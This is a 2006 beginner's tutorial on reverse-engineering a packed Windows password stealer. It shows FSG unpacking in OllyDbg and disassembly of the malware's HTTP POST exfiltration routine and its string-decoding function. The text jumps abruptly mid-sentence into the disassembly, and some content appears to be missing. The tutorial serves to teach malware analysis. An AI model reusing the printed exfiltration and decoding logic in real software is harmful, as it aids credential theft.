Anatomy of a Malware

Nicolas Falliere
January 9, 2006

Introduction

This tutorial should help people understand how a simple piece of malware works. I might eventually go on with a series of papers that should help beginners in reverse engineering to cope with malicious programs.

This first paper is about a password stealer. To start with something simple, it's a dropper program written in C, packed with FSG. The code is quite clear and understandable. Many common techniques used by malware in general are used in this very program, which makes it an even more educative piece of malware to look at. For educational purposes, most of the analysis will consist of a white box approach - in our case, meaning stepping through the program and analyzing it with a disassembler.

Characteristics of the file:
- MD5 hash: fceea9d062a5f55ef4c7be8df5abd127
- Size: 6961 bytes
- Type: 32-bit Windows Portable Executable (PE)
- Packed: yes
- High level language: C, very likely

Reader's requirements:
- Intel x86 assembly
- Windows API, MSDN nearby

The original malware

First of all, let's have a general look at this file, using an hexadecimal editor such as Hiew. Nothing particular there, it's a standard PE file with 2 sections; the first one has a physical size of 0 bytes. This is the sign of a packed file (an empty section, which will be filled with the data unpacked from another section). The file contains no visible embedded executable.

People used to reverse engineer malware will find the entry point quite characteristic:

```
xchg        esp,[0040D850]
popad
xchg        esp,eax
push        ebp
...
```

Our suspicion is confirmed, this file is packed with FSG version 2. FSG is a freely available packer; its initials mean "Fast, Small, Good". I encourage you to download it on the Internet, and try to pack a file with it, to check that the entry point is similar to the one of our malware. This packer is easily bypassed: the stub consists of the Aplib library code that decompresses the executable in the first section. The IAT is resolved with a LoadLibrary loop, just before a jump to the original entry point.

Let's see how to bypass that with OllyDbg. Since the API resolution is done after the unpacking with a series of calls to LoadLibraryA/GetProcAddress, let's set a breakpoint on this API. You can then go through this loop manually till the jump to the original entry point, or directly set a breakpoint on the jmp [ebx+0c] in the middle of the loop, which is how FSG

```
1000181B                mov     [ebp+hConnect], eax
1000181E                cmp     [ebp+hConnect], 0
10001822                jnz     short loc_10001835
10001824                mov     edx, [ebp+hInternet]
10001827                push    edx             ; hInternet
10001828                call    ds:InternetCloseHandle
1000182E                xor     eax, eax
10001830                jmp     loc_100018C5
10001835 ; ---------------------------------------------------------
10001835
10001835 loc_10001835:
10001835                mov     [ebp+lpszAcceptTypes],
                                      offset aAccept ; "Accept: */*"
1000183C                mov     [ebp+var_10], 0
10001843                push    0               ; dwContext
10001845                push    80000000h       ; dwFlags
1000184A                lea     eax, [ebp+lpszAcceptTypes]
1000184D                push    eax             ; lplpszAcceptTypes
1000184E                push    0               ; lpszReferrer
10001850                push    offset szVersion ; "HTTP/1.0"
10001855                mov     ecx, [ebp+lpszObjectName]
10001858                push    ecx             ; lpszObjectName
10001859                push    offset szVerb   ; "POST"
1000185E                mov     edx, [ebp+hConnect]
10001861                push    edx             ; hConnect
10001862                call    ds:HttpOpenRequestA
10001868                mov     [ebp+hRequest], eax
1000186B                cmp     [ebp+hRequest], 0
1000186F                jnz     short loc_10001889
10001871                mov     eax, [ebp+hConnect]
10001874                push    eax             ; hInternet
10001875                call    ds:InternetCloseHandle
1000187B                mov     ecx, [ebp+hInternet]
1000187E                push    ecx             ; hInternet
1000187F                call    ds:InternetCloseHandle
10001885                xor     eax, eax
10001887                jmp     short loc_100018C5
10001889 ; ---------------------------------------------------------
1000188
10001889 loc_10001889:
10001889                mov     edx, [ebp+dwOptionalLength]
1000188C                push    edx             ; dwOptionalLength
1000188D                mov     eax, [ebp+lpOptional]
10001890                push    eax             ; lpOptional
10001891                push    2Fh             ; dwHeadersLength
10001893                push    offset szHeaders
                      ; "Content-Type: application/x-www-form-ur"...
10001898                mov     ecx, [ebp+hRequest]
1000189B                push    ecx             ; hRequest
1000189C                call    ds:HttpSendRequestA
100018A2                mov     edx, [ebp+hRequest]
100018A5                push    edx             ; hInternet
100018A6                call    ds:InternetCloseHandle
100018AC                mov     eax, [ebp+hConnect]
100018AF                push    eax             ; hInternet
100018B0                call    ds:InternetCloseHandle
100018B6                mov     ecx, [ebp+hInternet]
100018B9                push    ecx             ; hInternet
100018BA                call    ds:InternetCloseHandle
100018C0                mov     eax, 1
100018C5
100018C5 loc_100018C5:
100018C5                mov     esp, ebp
100018C7                pop     ebp
```

```
100018C9 data            = dword ptr  8
100018C9
100018C9                 push    ebp
100018CA                 mov     ebp, esp
100018CC                 sub     esp, 0Ch
100018CF                 push    50h             ; size_t
100018D1                 call    malloc
100018D6                 add     esp, 4
100018D9                 mov     [ebp+buffer], eax
100018DC                 push    50h             ; size_t
100018DE                 push    0               ; int
100018E0                 mov     eax, [ebp+buffer]
100018E3                 push    eax             ; void *
100018E4                 call    memset
100018E9                 add     esp, 0Ch
100018EC                 mov     ecx, [ebp+data]
100018EF                 push    ecx             ; char *
100018F0                 call    strlen
100018F5                 add     esp, 4
100018F8                 mov     [ebp+len], eax
100018FB                 mov     [ebp+cpt], 0
10001902                 jmp     short loc_1000190D
10001904 ; ---------------------------------------------------------
10001904
10001904 loc_10001904:
10001904                 mov     edx, [ebp+cpt]
10001907                 add     edx, 1
1000190A                 mov     [ebp+cpt], edx
1000190D
1000190D loc_1000190D:
1000190D                 mov     eax, [ebp+cpt]
10001910                 cmp     eax, [ebp+len]
10001913                 jnb     short @exit
10001915                 mov     ecx, [ebp+data]
10001918                 add     ecx, [ebp+cpt]
1000191B                 xor     eax, eax
1000191D                 mov     al, [ecx]
1000191F                 cdq
10001920                 sub     eax, edx
10001922                 sar     eax, 1
10001924                 sub     eax, 1
10001927                 mov     edx, [ebp+buffer]
1000192A                 add     edx, [ebp+cpt]
1000192D                 mov     [edx], al
1000192F                 jmp     short loc_10001904
10001931 ; ---------------------------------------------------------
10001931
10001931 @exit:
10001931                 mov     eax, [ebp+buffer]
10001934                 mov     esp, ebp
10001936                 pop     ebp
10001937                 retn
10001937 decode_http_info endp
```

If this function doesn't speak to you, just look at those instructions:

```
xor     eax, eax
mov     al, [ecx]
...
sar     eax, 1
sub     eax, 1
...
mov     [edx], al
```